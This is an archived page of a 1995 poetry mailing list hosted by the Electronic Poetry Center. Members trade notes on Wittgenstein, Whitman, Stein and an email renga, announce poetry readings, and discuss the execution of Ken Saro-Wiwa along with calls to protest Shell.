If you have comments, suggestions about sites to be added to the Center, or wish to submit essays, creative work, or book reviews, or wish to find out more about our resources do not hesitate to contact Loss Pequen~o Glazier ([redacted]) or Kenneth Sherwood ([redacted]).

The Electronic Poetry Center
is administered at SUNY Buffalo in collaboration with
RIF/T, the Poetics Program, and Charles Bernstein

Rev. 11-16-95

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197. Paul Naylor ok 157602

On Certainty 496

Thu 16 Nov 1995

Dear Gale: here's one with a particular purpose:

496. This is a similar case to that of shewing that it has no meaning to say that a game has always been played wrong.

Wittgenstein _On Certainty_

I've always read this as a prescient pre-emptive strike against (reductive readings of) deconstruction. In other words, what does it mean to say "nothing escapes logocentrism"?

Paul "The Meaning Bandit" Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

198. Jordan Davis
Hi! renga fans
Thu 16 Nov 1995

Hi! renga fans
That "renew renga" you saw
not long ago
was started a couple days ago
by Tom Bell, Jorge Guitart, Sheila E Murphy, Gabrielle Welford and me
and we'd love you to join our carbon copy chain

Just drop any of us a line
and we'll cc you
the next time through

because we don't wish to tie up the list
but we also don't want to exclude anybody who might
dig writing through th'email, k?

Love,
Jordan "no e" Davis

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199. Eryque Gleason
Re: Hi! renga fans
Thu 16 Nov 1995

Jordan, a little while back another renga was posted as finished product (i think), and someone followed fairly shortly with a request for yous guyses to state your method. I'd like to reiterate the request.

thanks,
eryque

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200. Jim Andrews
MOCAMBOPO
Fri 17 Nov 1995

David, I have you booked for Mocambopo on February 23, 1996. Are you interested?

****

Does the drop of metal shine
like a syllable in my song?
Neruda
Book of Questions

Jim Andrews, Victoria, B.C., Canada: [redacted]

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201. Ron Silliman
Re: trouble
Fri 17 Nov 1995

"This tendency to take as a deadly or serious threat things that are said that one doesn't agree with or like, this tendency is, in my opinion, the real threat. It is this tendency that the right and forces of repression use to justify their curbs on freedom."

Amen, Spencer!

Ron

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202. R I Caddel
Ken Saro-Wiwa
Fri 17 Nov 1995

The Nigerian writer murdered recently (along with eight others) was Ken Saro-Wiwa, an environmental campaigner on behalf of the Ogoni tribe, who'd been protesting against the despoiling of their land by Shell (with the support of the Nigerian government).

The protest against Shell, as I understand it, had been going on for some years, and Shell were threatening that if the Nigerian Govt. didn't do something about it, they'd reduce the scale of their "investment". Hence the security force "crackdown" on the Ogoni - which, along with the land damage and pollution, was what KS-W was protesting about, and endeavouring to draw world attention to.

A couple of days after Ken Saro-Wiwa's death, Shell issued a statement to the effect that it was nothing to do with them, and oh, maybe they'd look at the possibility of the Ogoni getting a coupla percent more to compensate for the upheaval of the "investment". I paraphrase.

The only book of Saro-Wiwa's I've seen is "Sozaboy", a telling of a young man's experience in the Nigerian civil war (1967-70). It's told in what the author calls "rotten English" - a mix of pidgin, broken, and idiomatic.

Folks in the UK could write to the Nigerian High Commission, 56-57 Fleet Street, London EC4Y 1JU - I don't have the address for the US office. Oh, and Shell too - unless you buy their "nothing to do with me" line.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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203. Edward Foster
Re: unpack
Fri 17 Nov 1995

tenney: re: whitman remarks and `unpacking' (a) the term is horrible as it returns us to language as signs, collected, but (b) see note to jordan for `discrete/discreet.' also this, tho: i think some want merely the movement/music and so attend to the letters, phonemes; and, finding their music in this way, all too easily disrupt syntax. it's much like composing without measure (satie-faction). but the opposite is (correct?) to find pleasure in the syntax (and that is where whitman found it, and why it is such joy to read him), but then one can focus on the smallest changes, this letter to that, as in much of stein (and so preclude transendence, rapture). i don't know how whitman got there; but his followers, as i said, repeatedly fail (i think) when they try it, too. -ed

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204. Edward Foster
Re: concreet letters
Fri 17 Nov 1995

no, jordan, letters as notes rather than melody. -ed

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205. Edward Foster
Re: yep & yep
Fri 17 Nov 1995

re: using nouns as verbs: the absolute distinction--nouns are this and verbs are that--belongs to grammarians, not poets. it's not so much that stein used nouns as verbs as that she showed that nouns _are_ verbs. the only enemies (those that do not change until you change them) are those _you_ see. "nouns" are supposed to define, to say this or that is at rest (what i'm doing right now, after all), but in emerson/whitman/stein there is only change: nothing is fully at rest.

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206. Daniel Bouchard/College/hmco
Ken Saro Wiwa
Fri 17 Nov 1995

Here is some information that I pasted from the Internet. It's not only better than any US news source, it's actually SOMETHING! J.Hansen- if this helps (and if I can help with) drafting a letter, please backchannel to me.

[redacted]

_____

ELA CONDEMNS EXECUTION OF
KEN SARO WIWA AND CALLS FOR
DAY OF MOURNING

Cape Town, 11 November, 1995

Earthlife Africa (Cape Town) utterly condemns the execution of Ken Saro Wiwa and his eight co-trialists by the Abacha regime. It is clear that Ken Saro Wiwa was an innocent man, and his death can be called nothing but political assasination.

Ken Saro Wiwa was an internally respected environmental hero and human rights leader. His courage in leading MOSOP in its campaign of non-violence against Shell and the Nigerian dictatorship puts him in the class of other great leaders such as Martin Luther King and Mahatma Ghandi.
We call on the Commonwealth heads of government to expel Nigeria immediately. We call on President Nelson Mandela to take up the campaign for the isolation of Nigeria. In diplomacy, in sports, in culture and in the economy Nigeria must be isolated to force an end to the

tyranny of Sani Abacha, and to secure justice for
MOSOP and other pro-democracy forces in Nigeria.
We call on Anglo-Dutch Shell and all other multinational
oil companies in Nigeria to disinvest - to stop their
funding of this murderous regime. Until such time as this
happens, we call for a comprehensive, international
boycott of Shell products.

Earthlife Africa (Cape Town) calls for Sunday the 12th of
November to be a day of mourning and rememberance
for Ken Saro Wiwa. A hero has fallen.
Endorsements:

Earthlife Africa (Pretoria)
Earthlife Africa (East London)
Earthlife Africa (Grahamstown)
If you have any suggestions or problems with this page,
please mail them to: [redacted]

At 11:30 am on 10 November, 1995, Ken Saro Wiwa was executed. This act of murder on the
part of the Nigerian dictatorship must never be forgotten.

Earthlife Africa (Cape Town) release a press release on the issue, and calls for a continuation of
the struggle in support of MOSOP, and the Nigerian people.

Whilst we grieve about the death of this great hero, and 8 other Ogoni, we cannot be paralysed by our sorrow. Urgent international pressure in needed on Abacha, to stop the continuing 'slow genocide' perpetrated against the Ogoni people. Anglo-Dutch Shell's role in the 'slow genocide' cannot be ignored - it is Shell money which fills Abacha's purse. A comprehensive international alliance and boycott against Shell is needed to show multinationals that their profits cannot be built on the blood of innocents. BOYCOTT SHELL TODAY

The Ken Saro Wiwa Campaign

Ken Saro Wiwa was a Nigerian author, and the leader of a minority ethnic group
in Nigeria
called the Ogoni. He has recently been executed on trumped up charges for his actions in leading
the protest against the exploitation of Ogoni lands and Ogoni people.

Some History

The Ogoni people of Nigeria have their lands in Rivers state, a part of Nigeria near the delta of the river Niger. This has historically been a fertile area, and consequently is highly populated. It is also the first place in Nigeria that the Anglo/Dutch transnational Shell started extracting oil from, in 1958. At that time, Nigeria was still a British colony.

Ogoniland has been important to Nigeria for two reasons: Firstly, it it has been termed the 'breadbasket' of Rivers State, a major food producing area, and secondly, since 1958 it has been the source of more than 900-million barrels of crude oil, vital to the Nigerian economy.

The Issue

Although international attention is now being focussed on democracy in Nigeria, and pressure is being placed on the Nigerian dictatorship of Gen. Sani Abacha to democratize the country, little is said of the role of the Western transnational corporations which prop up the Abacha's dictatorship.

Shell has been exploiting the oil in Nigeria without consulting or compensating the Ogoni people in any way. The Ogoni people are a minority, and thus have little political power, since the Nigerian constitution doesn't protect minority interests. They have no mineral rights to their land, since all mineral rights are owned by the state. They are merely the victims when oil spills, blowouts, and invasive pipe laying cause environmental damage. Shell has not been effective in cleaning up oil spills, and as a consequence, Ogoniland has lost its fertility.

In 1990, the Ogoni started to mobilise against the human and environmental injustice perpetrated upon them. They formed MOSOP, the Movement for Survival of Ogoni People, a peaceful resistance movement which attempted to highlight their plight, under the leadership of Ken Saro-Wiwa.

The response to MOSOP's protests has been brutal. Ogoniland is now sealed off, and under

martial law. Ken Saro-Wiwa has been executed, along with 8 other Ogoni. Hundreds of Ogoni
have been murdered. Shell's role in this is significant - the most significant brutalities against the
Ogoni have happened after Shell has expressed concern about perceived threats
to the Nigerian
government. A memo signed by Major Okuntimo of the Rivers State Internal Security TaskForce, dated May 12th 1994, states: "Shell operations still impossible unless ruthless military
operations are undertaken for smooth economic activities to commence." The document goes on
to recommend the "wasting" of Ogoni leaders. Ken Saro Wiwa was arrested on May
the 22nd,
10 days later.

The blatant disregard for human rights that Shell Nigeria has displayed in its dealings with the
Ogoni show it to be two sided in its international relations. The abuses that are perpetrated in
Nigeria (directly in the form of spills and blowouts, and indirectly by the Nigerian government to
protect Shell's interests) would be unnacceptable in the countries where Shell sells most of its oil.
Whilst Shell International claims that its actions and those of Shell Nigeria are not linked, this is a
transparent ploy to deny culpability. Shell profits are built upon Ogoni suffering.
Ken's Trial and Execution

Ken Saro-Wiwa was held, without legal recourse, and without medical attention, for many
months. He was also tortured. The charges against him (the supposed murder of 4
Ogoni
activists) were so ridiculous that Amnesty International declared him a prisoner of conscience. His
trial was been a total farce, run under the auspices of Civil Disturbances Special Tribunal
(CDST), which is only answerable to Military Government. Ken Saro-Wiwa and eight other
Ogoni leaders were sentenced to death on the 31st of October 1995. Despite

calls international
calls for clemency, Ken and his eight co-trialists were executed on the 10th of November, 1995.
We mourn their passing, and salute their spirit.

We call on all people who love freedom and justice to:
1. Lobby your leaders to intervene on the behalf of MOSOP and the Nigerian people.
Strong international action is necessary, not just talk.

2. Boycott all Shell products and inform Shell of your boycott. Remember, the joint venture
operated by Shell in Nigeria is responsible for 70% of the Nigerian state's revenue - Shell
is funding murder in Nigeria.

3. Educate yourself about Ogoniland, the Ogoni struggle, and Nigeria. Our Factsheet on the
Ogoni struggle is a good place to start. Another good resource is the September/October
1995 issue of Africa Today magazine, or the videos 'The Drilling Fields' and 'The Delta
Force' (details for 'The Drilling Fields' are below).
Shell must know that it can't make profit out of the blood of the Ken Saro Wiwa and the Ogoni.
Abacha must know that tyranny is universally unacceptable. The only way that this will happen is
broad, strong action by all the people of the world.

(Look here to see the Earthlife Africa 1995 Congress resolution on the Ogoni's struggle.)

Earthlife Africa Fact Sheet on the Ogoni Struggle

Look here to see the Earthlife Africa (Cape Town) factsheet on the Ogoni Struggle. (To be
updated soon)

Shell: Dirty in Nigeria, Dirty in the North Sea
While Shell continues to evade responsibility for its role in the war against the Ogoni, it has
compounding its environmental abuses by attempting to dump the North Sea oil rig, the Brent
Spar, in the North Sea, despite the fact that the Brent Spar contains a large amount of toxic and

radioactive waste. For the details, have a look at Greenpeace's Brent Spar page.

Greenpeace won the first round of the Brent Spar fight, simply because consumers (most notably German consumers) launched a large and effective boycott of Shell. Other resources on the Ken Saro Wiwa campaign

The Body Shop International's Ken Saro Wiwa home page.
The Drilling Fields: The award winning documentary about the plight of the Ogoni in
Nigeria
Ken Saro Wiwa was awarded the Goldman Prize, a prize for international environmental
heroes. The Goldman Environmental Foundation maintains a page on Ken, his
sentence,
and how to respond to it.

Resources related to Nigeria and human rights

The Amnesty International Kenya/Nigeria page highlights human rights abuses in these two
African giants.

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207. Willa Jarnagin
Re: trouble
Fri 17 Nov 1995

> "*This tendency to take as a deadly or serious threat things that are said that one doesn't agree with or like, this tendency is, in my opinion, the real threat. It is this tendency that the right and forces of repression use to justify their curbs on freedom.*"
>
> *Amen, Spencer!*
>
> *Ron*

Yes, I agree too. If I remember correctly, Mark said something about injury to his reputation endangering his job as an adjunct professor, that if his reputation is tarnished by people criticizing him/his poetry then his job will be in jeopardy. If this is true, it is sad and wrong, on the UNIVERSITY'S part, not that of the critic. We should protest this kind of policy, not bend under it by keeping our mouths shut and avoiding any comments that could be perceived as "insulting." Otherwise, whose integrity are we protecting?

Willa

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208. Jordan Davis
Re: yep & yep
Fri 17 Nov 1995

At 11:41 AM 11/17/95, Edward Foster wrote:
>re: using nouns as verbs: the absolute distinction--nouns are this and verbs
>are that--belongs to grammarians, not poets. it's not so much that stein
>used nouns as verbs as that she showed that nouns _are_ verbs. the only
>enemies (those that do not change until you change them) are those _you_
>see. "nouns" are supposed to define, to say this or that is at rest (what
>i'm doing right now, after all), but in emerson/whitman/stein there is
>only change: nothing is fully at rest.

I'd love to see examples--that didn't alas show--the mask of other function--is the elision of the other function--and not cross-syntax--but a poetry of syntax--not acid etchings either--not Milton--let's see

Jordan

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209. Rod Smith
Re: trouble, slightly revised
Fri 17 Nov 1995

"This tendency to take as a deadly or serious threat things that are said that one doesn't agree with or like, this tendency is, in my opinion, the real threat. It is this tendency that the right and forces of repression use to justify their curbs on freedom."

This tendency to take as a dear or sermon 3-D think factory things that are sad that onerimancy doesn't Agrippa with or ligulate, this tendency is, in my opposum shrimp, the ready threap. It is this tendency that the rigadoon and forebrain of reprobate U.S. to jut their curch on free fall.

letters of creedence
snap,
sag,
sacrilege ribs
the cosignatory--

a largesse producer

no foot-candle

no fault faucet

plenish unindorsed

polka unimpaired

"peace trap"

think
unilobed
thingumaboob

enactory
rhetoric
winces

re-called it-region

salient electroforming
viper-elect or reference pg 1381
'toad to Toklas'
includes
toilet water

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210. Jordan Davis
Re: concreet letters
Fri 17 Nov 1995

At 11:22 AM 11/17/95, Edward Foster wrote:
>no, jordan, letters as notes rather than melody. -ed

oh, the melody that will occur when you're not out scrounging it, or coaxing it, or anything but _compiling_ it. Yah. So who does that--should we be reading about counterpoint, gradus ad parnassum (hic)? you mean we shouldn't be repressing these _melodies_ tht keep falling on our

Jordan

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211. Chris Stroffolino
Re: yep & yep
Fri 17 Nov 1995

For all the times a "mind" alights, an alight "minds" on the color of the meaning that tried to do away with color as long as emotions are projected on an it you may call yourself as a pre-emptory gesture since in reality every fall from a great height is a ruse of rhetoric since in reality nothing happens and the hypothetical that is allowed to thrive in framed solitude seems unconfined

only from the perspective that fails to confirm the badge of HUMANITY on the brain's harmonious tension with, say, the liver which science makes to break as long as practical motives are taken into account and healing is progress and aging is two ships passing like nights that would be days if all swamps who thought they were individuals and all the stick figures who thought they were communities could meet in the mosh-pit, trade bodies and roll out the red-carpet for a past disguised as the future that will treat it better than words of doubt could wield..... cs.

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212. Chris Stroffolino

Re: trouble, slightly revised

Fri 17 Nov 1995

Open QUESTIONS: Is it possible that one of the reasons "avant garde" poetics has been more against the "bourgeois" or "singular" or "continuous" or "autonomous" self that "mainstream" poetics beause of the tempereramental differences of the people involved. One of the interesting, for me, things about the recent "flame war" is that two poets, both of whose work is quite sophisticated and "polyvocal" and abstract in its problematization of the self (neither DODGE the issue as some other writers--not to name names here--seem to) have adopted the very PERSONAL "I"-based discourse and CHARACTER that their own poetry seems to be most vigorously and rigorously opposed to. I mention this not so much to pass judgment on either writer (certainly no more than I do on my "own" self) as to call attention to what may be called a "productive site" or "fruitful contradiction". For, viewed in such a light, the "battle" becomes less exclusively between "avant- garde" and "mainstream" as between the poet's poetry, or the poetry's poet, and the "non-poetic" utterances made by a person who calls himself a poet. If we put the ostensibly "non-poetic" statements of the poets in dialogue with say NO ISLAND or COMPLICATIONS FROM STANDING IN A CIRCLE or, more generally, the ideology implied by the poetries, it might be at least as fun as a cookie to ask IS IT POSSIBLE THE STRICTURES and/or DEMANDS many (if not all?) kinds of poetics makes on its writers can stifle to the point where the only "equilizing" outlet can be a kind of ostensibly non-poetic admission of a frustration and rage whose reality may "call into question" or "severely problematize" the very standards the poetry itself may be said to speaking for???? (even though of course Ed Foster is right and there is ONLY CHANGE and OPENENDEDNESS in Stein, etc---). Chris Stroffolino

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213. Jeff Hansen
Ken Saro-Wiwa
Fri 17 Nov 1995

I have received a lot of important information on the assassination of Wiwa since my last post. Thanks, everyone! The page that Daniael Bouchard posted here earlier can be accessed at http:\www.gem.co.za\ela\ken.html

I will compose letters to Shell oil, the Nigerian leader, and President Clinton asserting my support for free speech and the economic and political self-determinacy of native peoples. Whoever wants their name to appear on the letter after seeing it, will be able to backchannel me. I suggest that we who get involved call ourselves "The Coalition for Free Speech and the Self-Determinacy of Native Peoples."

i think that this is it for now. I should be able to post those letters by Monday.

Have a good weekend,

jeff

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214. Willa Jarnagin
Re: Ken Saro Wiwa & Shell Oil
Fri 17 Nov 1995

A friend of mine found an address for Shell Oil:

Shell Oil Products
Dept. 210
P.O. Box 2463
Houston, TX 77252

Even if Shell is not "directly" responsible for Saro Wiwa's murder, the company stands to PROFIT from it. On Oct. 31, after Saro Wiwa and his eight activist colleagues were sentenced to death, Shell responded to international pleas to use its influence with the Nigerian government to seek clemency for the activists, with the statement, "It is not for a commercial organization like Shell to interfere in the legal processes of a sovereign state such as Nigeria." But they will interfere with the rights of the Ogoni people and destroy their land, against their will and without compensating them in any way.

Write.
Willa

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215. Loss Glazier
Poetry/Talking/Live (promo)
Fri 17 Nov 1995

---
epclive*epclive*epclive*epclive*epclive*epclive*epclive*epclive*epclive
---
Monday night
6:30 pm EST
the public opening of
EPC.Live
---
epclive*epclive*epclive*epclive*epclive*epclive*epclive*epclive*epclive
---
As Ken's message a couple of days ago announced: be at the opening of the first(?)
online real-time poetics conference!
It helps to have a look at instructions to connect, our schedule, etc. in advance. Please feel free to contact me ([redacted]) or Ken Sherwood ([redacted]) with any questions.
LOADS of EPC.Live info is available through the EPC at http://writing.upenn.edu/epc
select
"EPC.Live"...
---
epclive*epclive*epclive*epclive*epclive*epclive*epclive*epclive*epclive
---

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216. Wystan Curnow
Re: Ken Saro-Wiwa
Fri 17 Nov 1995

Dear Jeff, Don't know what news you have been getting, so let me pass on something of the context as from here. The executions took place during the meeting of the Commonwealth Heads of Government Meeting (CHOGM--pronounced "chogum") here in Auckland. Nigeria was represented by its Foreign Minister. Besides the question of nuclear testing--Britain was in the firing line for supporting France--Nigerian democracy was on the agenda. It is not the only Commonwealth country at whom the finger can be pointed, but at its last meeting, in Harari, a Declaration committing the Commonwealth to the

principles of democratic government was made and has been regarded as giving the post-(British) colonial organisation some contemporary meaning. The execution of these 8--it has been pointed out that Nigeria have been executing political prisoners in this fashion for some time, this is not new--in the middle of the CHOGM was an act of defiance. A number of heads of state had been calling upon Nigeria to exerecise clemency in the weeks preceding. Mandela, who was the key figure at this meeting (the Queen was here for it, but it was Mandela who was in effect symbolic head) had intended to soft-pedal the Nigerian situation and assert some African solidarity was affronted and took the lead in condemning the executions and pushing for wider international pressure. He indicated his intentions to speak with both Clinton and Major (the US and the UK are Shell's biggest Nigerian customers I understand). APEC is meeting in Japan and I believe our beloved PM Jim--as we call him, on CNN he prefers 'James"--Bolger--intends to have a word with the US vice-precedent on the matter, and someone has starting selling TO HELL WITH SHELL bumperstickers. Hoping some of this is news to you, Wystan

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217. Thomas Bell
Re: Ken Saro-Wiwa
Fri 17 Nov 1995

Story sounds more interesting the more I hear.

I would also be very interested in seeing some of this "rotten English".

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218. Tenney Nathanson
pack em in?
Sat 18 Nov 1995

> *Date: Fri, 17 Nov 1995 11:20:12 -0500*
> *From: Edward Foster <[redacted]>*
> *Subject: Re: unpack*
>
> *tenney: re: whitman remarks and `unpacking' (a) the term is horrible as it returns us to language as signs, collected, but (b) see note to jordan for `discrete/discreet.' also this, tho: i think some want merely the movement/music and so attend to the letters, phonemes; and, finding their music in this way, all too easily disrupt syntax. it's much like composing without measure (satie-faction). but the opposite is (correct?) to find pleasure in the syntax (and that is where whitman found it, and why it is such joy to read him), but then one can focus on the smallest changes, this letter to that, as in much of stein (and so preclude transendence, rapture). i don't know how whitman got there;*

> *but his followers, as i said, repeatedly fail (i think) when they try it, too. -ed*

Ed:

my association w the term is Jamesian (William not Henry) where it has something to do w a pragmatics of names and models--lay it out, pick up various pieces of it to see what they can DO, what the trope, say, is good for. But then I don't really bridle at "cash value" in James either, though I perk up my ears--but that things go round and again go round....like, let's not go round again on THAT one.

as for the rest of it, yes, or yes kind of. In "Song of Myself" esp the strange play of the phonemes in the long lines w longer syntax stretched over them is certainly a real pleasure, and the play of one against the other is definitely part of it, yes (Koch used to say that you couldn't read the stuff, early sections such as #2, w/o feeling like you had rocks in your mouth, which is great). otoh W's sense of syntax can get pretty vestigial (or no, that's not it: his good sense is to MAKE the syntax get vestigial, in the catalogues): if you set those gigantic agglutinations against Wordsworth, or against the atypical and terrific syntax of the opening of that awful poem "Out of the Cradle," you see what a rudimentary machine Whitman sometimes constructed. And THEN there's the long floating thing that makes up most of section 2, no verbs, just hum and flux of being and body.

I dunno that the followers fail: not if you think of the Crane of Voyages, or lots and lots of O'Hara.

so: it's the phonemic movement, in Whitman, that precludes floating off (?) into transcendence, rapture? A la Olson on the syllable via the head (but the line the breath, or heart)? I never understood that one, feeling I feel the phonemes as body, kinesthetics (a la Kristeva, but really just discretely ducking and bobbing at poetry readings)

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219. **Burt Kimmelman**

Re: trouble, slightly revised

Sat 18 Nov 1995

Chris-

Setting aside the idea that there is no such thing as poetry (an idea I embrace at my best and worst moments though never in between), and then turning to your comments about the recent public slug-it-out we have all been made privy to, I would only remind us all that writing emerges as a technology when societies become economically and socially complex enough to need to keep

track of mundane matters like debits and credits and civic disagreements (i.e., accounting and law) or rather to keep track of rules when there are enough of them to begin to be confusing.

seems to me that the artistic impulse, while it is bound up with technology in its execution if not in its formulation, searches out a transcendent world (thankfully).

saturday morning musings amounting to . . . . .

burt

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220. Robert Drake
Re: Ken Saro-Wiwa
Sat 18 Nov 1995

Many Amnesty International chapters have been active on Ken
waro-Wiwa's behalf (since before it was too late); if you
don't have a chapter near you, there are many on the net.
try: http://www.gatech.edu/amnesty/action.html#month

A similar organization that focuses on journalists & writers
is the Committe to Protect Journalists--330 Seventh Ave.,
12th floor; New York NY 10001; [redacted]. the coordinator
for Africa is, i believe, Jennifer Pogrand; her email:
[redacted]

luigi

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221. Ron Silliman
Shell Oil
Sat 18 Nov 1995

Shell Oil is a division of Royal Dutch.

Its US division has a web page at:
http://www.shellus.com/welcome.html

It even has a "mail to" form so you can tell them directly what you think about their policies in Nigeria.

If you don't have a web browser, their customer service number is [redacted]

Ron

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222. Bill Luoma
Re: Ken Saro-Wiwa
Sat 18 Nov 1995

Jeff & Dan,

According to the NY times, the Nigerian general dude has hired "at least" seven american pr companies to bolster his image, "including a book and a video." Your letter might be emailed to these companies were we able to find out their addresses.

& us imports about half of Nigeria's petroleum. the us petroleum lobby will be fighting against any import sanctions. who to nail there?

Bill Luoma

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223. Aldon L. Nielsen
Re: backchannel clogged
Sat 18 Nov 1995

---

jeff -- add me to the list

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224. Rod Smith
Darragh/Ganick reading
Sat 18 Nov 1995

Sunday, Nov. 19th at 3 PM -- Tomorrow!

Tina Darragh & Peter Ganick

reading at DCAC (District of Columbia Arts Center)
2438 18th St NW (near 18th & Columbia)

$3 donation requested

series curated by Heather Fuller & Joe Ross

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225. Jordan Davis
some renga methodism
Sat 18 Nov 1995

At 11:09 PM 11/16/95, Eryque Gleason wrote:
>Jordan, a little while back another renga was posted as finished product (i

>think), and someone followed fairly shortly with a request for yous guyses
>to state your method. I'd like to reiterate the request.

Eryque

the renga process has changed
slightly since going undernet

Tom Bell writes: Look in madness, chapter 3 : "Word salad"

The version Jorge/Cris posted
was a collage Cris stitched
from all the different versions

The names Jorge named
have been ccing (mini-listservice)
new lines added mainly to the top
the the north of the poem

lines have been added to the middle of the poem

some rengans (mainly Jorge,
although I think each of us
has done this at least once)
have made minor alterations
on other people's lines..
as in the "windows 95" edit
to the listserv's renga

the emphasis has been placed on variety

Cris Sheila George and Jorge had been sending the most
then Cris went off to Devon to teach
George took off for parts unknown
Gabrielle went on a tear sending at one point
over thirty new messages at a time
I send many, Jorge sends many, Tom Bell sends many
Maria Damon makes an occasional appearance (on sabbatical)

Lisa Samuels has joined the circle recently

we welcome new players with strong backhands
or good drop shots
and we need a goalie, a bassist, and a designated hitter
someone with proposal writing skills
some clerical
and experience in international affairs is a plus

NO MIDDLE MANAGEMENT PLEASE

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226. Kenneth Sherwood
Nigeria
Sat 18 Nov 1995

While it might be interesting to look at Ken Saro-Wiwa's "bad english", it should be noted that his execution followed directly from his political activities as head of MOSOP (Movement for the Survival of the Ogoni People).

For those interested in more information, the NOV 21 Village Voice ran a lengthy story. Their focus is the involvement of Shell Oil. Shell's economic interest in Nigeria has already been noted; the Voice piece concentrates on the "emerging paper trail" which suggests "Shell may have funded military operations against MOSOP, and leaked company minutes detail how Shell and the military held meetings, after Saro-Wiwa was arrested, to discuss public relations strategies for the company. Potentially far more damning, however, are allegations contained in sworn affadavits that two key prosection witnesses were offered bribes by Shell to testify against Saro-Wiwa"

A protest letter to the Nigerian Embassay or UN might also be usefully inflected towards Shell, keeping in mind its 'public relations' concerns.

K.S.

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227. Steve Carll
Re: trouble
Sat 18 Nov 1995

Spencer:

Well, you were right about one thing--no one wanted to hear a public debate.

I might just say that one dangerous temptation in a dialogue is to psychoanalyze the other person. I think that the psyche can no more be reduced to psychology than a poem can be reduced to a poetics. Besides, what response is there to the assertion, "There's an unconscious process going on in you that you, by definition, can't be aware of, but I'm aware of it"? Except to get pissed off and end the dialogue, which is what people seem to do with you (maybe you've noticed :-)), or to make the same accusation about your unconscious, which leads to a stalemate on that ground.

Enjoyed some of the work in _Score_. He did me one better by not putting page numbers on the pages, so to find out who did what, you have to count them yourself.

Got a submission from Gustaf Sobin in the mail yesterday. He said he's coming in late January to read in Berkeley and Stanford and wants to meet.

You missed the Gertrude Stein marathon at New College last night. Five hours of GS read by the allstar cast. It was all wonderful except for Barrett Watten's interminable reading from _The Making of Americans_, which brought the whole evening to a screeching halt.

See you soon,
Steve

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228. Romana Christina Huk
UNH Cambridge Program
Sat 18 Nov 1995

Another announcement for POETICS subscribers:

If you know of students (undergrad or grad) who would like to spend six weeks this summer writing poetry with four poets overseas -- Tom Raworth, Denise Riley, Rod Mengham and Caroline Bergvall -- ask them to get in touch with me; I'm running this univ's Cambridge, England Program at Gonville & Caius College and have worked in a "writing component" that includes possibilities for working on fiction as well. I'll send a huge packet of info to anyone that mails me an address; the address here is: The UNH Cambridge Program, Hamilton Smith Hall, University of New Hampshire, Durham, NH 03824. Thanks for any interested people you might send this way.

Romana Huk

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229. Charles Bernstein
Ear Inn Readings Dec. & Jan.
Sat 18 Nov 1995

--Boundary (ID I+dk0Y2eVUZJsXdOuQ9Pew)

** PLEASE NOTE NEW TIMES FOR READINGS, SATURDAY 2:30PM!!!**

December & January Readings at The Ear Inn

THE EAR INN
326 Spring Street (all the way West!)
New York, NY 10013
[redacted]

DECEMBER 2: JEROME SALA, DAVID SHAPIRO Jerome Sala's Raw Deal: New and Selected Poems has just appeared from Another Chicago Press. Of this collection, Amy Gertsler comments: "Sala's poems . . . give a new and enlarged meaning to the phrase 'wise guy'." David Shapiro has written numerous books of poems including: Lateness, To an Idea, House (Blown Apart), and many volumes of art and literary criticism.

DECEMBER 9: TAN LIN, DOUGLAS MESSERLI Tan Lin teaches at the U. of Virginia in Charlottesville. Lotion Bullwhip Giraffe is forthcoming from Sun & Moon. His work has appeared in such journals as: o.blek, Hambone, Talisman, Lingo, and the Village Voice Literary Supplement. Douglas Messerli is the editor and founder of Sun & Moon Press, and is the author of several books of poetry, River to Rivet: A Manifesto, Maxims from My Mother's Milk/Hymns to Him: A Dialogue, and the most recent An Apple, A Day.

DECEMBER 16: LAYNIE BROWNE, MARK WALLACE Laynie Browne's most recent book is One Constellation (Leave). She has two books of poems forthcoming, Pollen Memory (Tender Buttons), and Rebecca Letters (Kelsey St.). Some of her poems will appear in the new issue of Conjunctions. Mark Wallace is the author of Complications From Standing In A Circle and Every Day Is Most of My Time. He edits the poetry magazine Situation and writes poetry reviews regularly for the Washington Review.

DECEMBER 23: HOLIDAY SCHEDULE -- NO READING.

DECEMBER 30: HOLIDAY SCHEDULE -- NO READING.

JANUARY 6: WANG PING, NINA ZIVANCEVIC Wang Ping was born in Shanghai and graduated from Beijing University before coming to the U.S. in 1985. She is the author of a book of stories American Visa (Coffee House), and the forthcoming novel Foreign Devil (Coffee House). Nina Zivancevic is the author of many books published in the former Yugoslavia, where she won the equivalent of the American Book Award in 1983. Her books include More or Less Urgent (New Rivers) and a collection of short stories Inside & Out of Byzantium (Semiotext(e)). She is currently writing and teaching in Paris.

JANUARY 13: GEORGE-THERESE DICKENSON, CHARLES BERNSTEIN George-Therese Dickenson is the author of Transducing (Roof) and will be reading from her new book-length manuscript The Interpreter of Dreams. Her work will be anthologized in American Poets Say Good-bye to the Twentieth Century, edited by Andrei Codrescu, forthcoming in 1996. Charles Bernstein's recent books include: Dark City, Rough Trades, The Sophist (Sun & Moon), and A Poetics (Harvard University). He teaches in the Poetics program at SUNY Buffalo.

JANUARY 20: THOMAS BYNUM, BRUCE ANDREWS Thomas Bynum is the publisher of Drogue Press and the producer, co-director, and designer for Drogue Performance and in 1996 will present a full production of Leslie Scalapino's play Goya's L.A. He will be reading from his new work [Missouri]. Bruce Andrews has published numerous books of poetry, including the most recent XYZ (Roof). Forthcoming: the Andrews issue of Ariel, Paradise & Method, essays (Northwestern U.), and Designated Heartbeat (Sun & Moon).

JANUARY 27: NICK PIOMBINO, RAY DI PALMA Nick Piombino is the author of Poems (Sun & Moon), The Boundary of Blur (Roof), and the forthcoming Light Street (Zasterle). Recent work in: Situation, Avec, Ribot, M/E/A/N/I/N/G, and the anthology Gertrude Stein Awards in Innovative American Poetry. Ray DiPalma's recent books include: Motion of the Cypher (Roof), Provocations (Potes & Poets), and Numbers and Tempers (Sun & Moon). Janviero, a video based on his prose book January Zero (Coffee House), was recently made in France.

SATURDAY AFTERNOON READINGS begin at 2:30 pm. EAR INN is at 326 Spring St., NYC. $3.00 contribution goes to readers. Coordinator for December and January is Charles Borkhuis. Special thanks to Nick Piombino. Continuing support of this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York State Council on the Arts. PLEASE SUPPORT THE EAR -- COME EARLY FOR LUNCH, STAY LATE FOR DINNER!

